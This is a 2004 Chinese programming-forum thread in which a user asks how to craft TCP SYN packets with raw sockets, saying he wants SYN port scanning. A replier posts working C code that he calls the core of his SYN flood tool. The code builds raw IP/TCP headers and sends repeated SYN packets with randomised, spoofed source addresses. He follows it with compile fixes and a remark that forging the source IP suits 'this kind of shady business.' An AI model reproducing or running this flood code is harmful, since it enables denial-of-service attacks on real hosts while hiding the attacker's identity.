如何用系统调用来构造SYN数据包?

nbczhouyi 2004-12-21 11:33:10
这个问题可能比较麻烦,我搜索了网上,好像没有相关的资料
...全文
271 12 打赏 收藏 转发到动态 举报
写回复
用AI写文章
12 条回复
切换为时间正序
请发表友善的回复…
发表回复
property1 2004-12-21
  • 打赏
  • 举报
回复
要用 原始套接字
自己填写 ip tcp 头了, 象上面的
iq199 2004-12-21
  • 打赏
  • 举报
回复
其中一些类型定义

//IP首部
struct IP_HEADER
{
#ifdef BO_BIG_ENDIAN
UINT08_T version:4,
ihl:4;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT08_T ihl:4,
version:4;
#endif
UINT08_T tos;
UINT16_T total_len;
UINT16_T ident;
#ifdef BO_BIG_ENDIAN
UINT16_T flags:3,
frag:13;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT16_T frag:13,
flags:3;
#endif
UINT08_T ttl;
UINT08_T protocol;
UINT16_T checksum;
UINT32_T saddr;
UINT32_T daddr;
};

//UDP与TCP伪首部
struct PSD_HEADER
{
UINT32_T saddr;
UINT32_T daddr;
UINT08_T mbz;
UINT08_T protocol;
UINT16_T len;
};

//TCP首部
struct TCP_HEADER
{
UINT16_T sport;
UINT16_T dport;
UINT32_T seq;
UINT32_T ackseq;
#ifdef BO_BIG_ENDIAN
UINT16_T len:4,
res1:4,
res2:2,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT16_T res1:4,
len:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
res2:2;
#endif
UINT16_T win_size;
UINT16_T checksum;
UINT16_T urgentp;
};
iq199 2004-12-21
  • 打赏
  • 举报
回复
这是我写的syn flood中的主要的代码


int send_tcp_syn(char *daddr_str, UINT16_T dport, int count/* = 1 */, char *saddr_str/* = NULL */, UINT16_T sport/* = 0 */)
{
SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (sock == INVALID_SOCKET)
{
return -1;
}

int flag = true;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char *)&flag, sizeof(int)) == SOCKET_ERROR)
{
closesocket(sock);
return -2;
}

int timeout = 1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{
closesocket(sock);
return -3;
}

IP_HEADER ip_header;
ip_header.version = 4;
ip_header.ihl = sizeof(JHUtilNET::IP_HEADER)/sizeof(UINT32_T);
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(JHUtilNET::IP_HEADER)+sizeof(JHUtilNET::TCP_HEADER)); ;
ip_header.ident = htons(1);
ip_header.flags = 0;
ip_header.frag = 0;
ip_header.ttl = 128;
ip_header.protocol = IPPROTO_TCP;
ip_header.daddr = inet_addr(daddr_str);

JHUtilNET::PSD_HEADER psd_header;
psd_header.daddr = ip_header.daddr;
psd_header.mbz = 0;
psd_header.protocol = IPPROTO_TCP;
psd_header.len = htons(sizeof(JHUtilNET::TCP_HEADER));

JHUtilNET::TCP_HEADER tcp_header;
tcp_header.dport = htons(dport);
tcp_header.ackseq = 0;
tcp_header.len = (sizeof(JHUtilNET::TCP_HEADER) / 4);
tcp_header.res1 = 0;
tcp_header.res2 = 0;
tcp_header.urg = 0;
tcp_header.ack = 0;
tcp_header.urg = 0;
tcp_header.psh = 0;
tcp_header.rst = 0;
tcp_header.syn = 1;
tcp_header.fin = 0;
tcp_header.win_size = htons(512);
tcp_header.urgentp = 0;

char tcp_header_buf[sizeof(JHUtilNET::PSD_HEADER) + sizeof(JHUtilNET::TCP_HEADER)];
char ip_buf[sizeof(JHUtilNET::IP_HEADER) + sizeof(JHUtilNET::TCP_HEADER)];

SOCKADDR_IN dest_addr;
memset((void*)&dest_addr, 0, sizeof(SOCKADDR_IN));
dest_addr.sin_family = AF_INET;
dest_addr.sin_addr.S_un.S_addr = ip_header.daddr;

srand((unsigned int)time(NULL));

for (int i = 0; i < count; i++)
{
if (saddr_str == NULL || strlen(saddr_str) == 0)
ip_header.saddr = (UINT32_T)rand() << 16 | rand();
else
ip_header.saddr = inet_addr(saddr_str);

ip_header.checksum = 0;
ip_header.checksum = JHUtilNET::checksum((UINT16_T*)&ip_header, sizeof(JHUtilNET::IP_HEADER));

psd_header.saddr = ip_header.saddr;

tcp_header.seq = (UINT32_T)rand() << 16 | rand();

if (sport == 0)
tcp_header.sport = (UINT16_T)rand();
else
tcp_header.sport = htons(sport);

tcp_header.checksum = 0;
memcpy(tcp_header_buf, &psd_header, sizeof(JHUtilNET::PSD_HEADER));
memcpy(tcp_header_buf + sizeof(JHUtilNET::PSD_HEADER), &tcp_header, sizeof(JHUtilNET::TCP_HEADER));
tcp_header.checksum = JHUtilNET::checksum((UINT16_T*)tcp_header_buf, sizeof(JHUtilNET::PSD_HEADER) + sizeof(JHUtilNET::TCP_HEADER));

memcpy(ip_buf, &ip_header, sizeof(JHUtilNET::IP_HEADER));
memcpy(ip_buf + sizeof(JHUtilNET::IP_HEADER), &tcp_header, sizeof(JHUtilNET::TCP_HEADER));

int return_val = sendto(sock, ip_buf, sizeof(JHUtilNET::IP_HEADER) + sizeof(JHUtilNET::TCP_HEADER), 0, (sockaddr*)&dest_addr, sizeof(SOCKADDR_IN));
if (return_val == SOCKET_ERROR)
{
closesocket(sock);
return -4;
}
}

closesocket(sock);
return 0;
}
partime 2004-12-21
  • 打赏
  • 举报
回复
搜索RawSocket
nbczhouyi 2004-12-21
  • 打赏
  • 举报
回复
回复 HanZhu1(寒竹) 不是,我想扫描端口,不想用Connect方法来扫描,想用TCP SYN扫描
HanZhu1 2004-12-21
  • 打赏
  • 举报
回复
你想做 拒绝服务 攻击啊
nbczhouyi 2004-12-21
  • 打赏
  • 举报
回复
现在还是有一个问题
error C2065: 'dport' : undeclared identifier
dport是在TCP_HEADER里定义的阿
nbczhouyi 2004-12-21
  • 打赏
  • 举报
回复
我只是在学习网络编程,只是个菜鸟了
iq199 2004-12-21
  • 打赏
  • 举报
回复
另外,在windows下,再
#define BO_LITTLE_ENDIAN
这样就不会
“下面的变量老是出错说 not a member of 'IP_HEADER'”


我的函数源地址saddr_str和源端口sport如果不指定,会随机生成。
做这种见不得人的事情,还是伪造源ip比较好~
iq199 2004-12-21
  • 打赏
  • 举报
回复
typedef unsigned __int8 UINT08_T;
typedef unsigned __int16 UINT16_T;
typedef unsigned __int32 UINT32_T;
typedef unsigned __int64 UINT64_T;

我这样写主要想到unix下编译修改少一些

包含afxsock.h就行了,afxsock.h里面已经包含了winsock2.h

另外,在我前面的那些ip头、tcp头结构定义的最前面,加上
#pragma pack(push, 1)
(单字对齐)
nbczhouyi 2004-12-21
  • 打赏
  • 举报
回复
#define UINT08_T BYTE
#define UINT16_T WORD
#define UINT32_T DWORD
这样定义行不?
下面的变量老是出错说 not a member of 'IP_HEADER'
version
ihl
flags
frag
nbczhouyi 2004-12-21
  • 打赏
  • 举报
回复
UINT32_T
UINT16_T
UINT08_T
你是怎么定义的阿?

还有我现在用的是MFC编程,已经包含了头文件#include <afxsock.h>
如果再包含#include <winsock2.h>就会出现许多的结构被重定义的错误,是不是非得重新建一个工程阿 ?

18,356

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧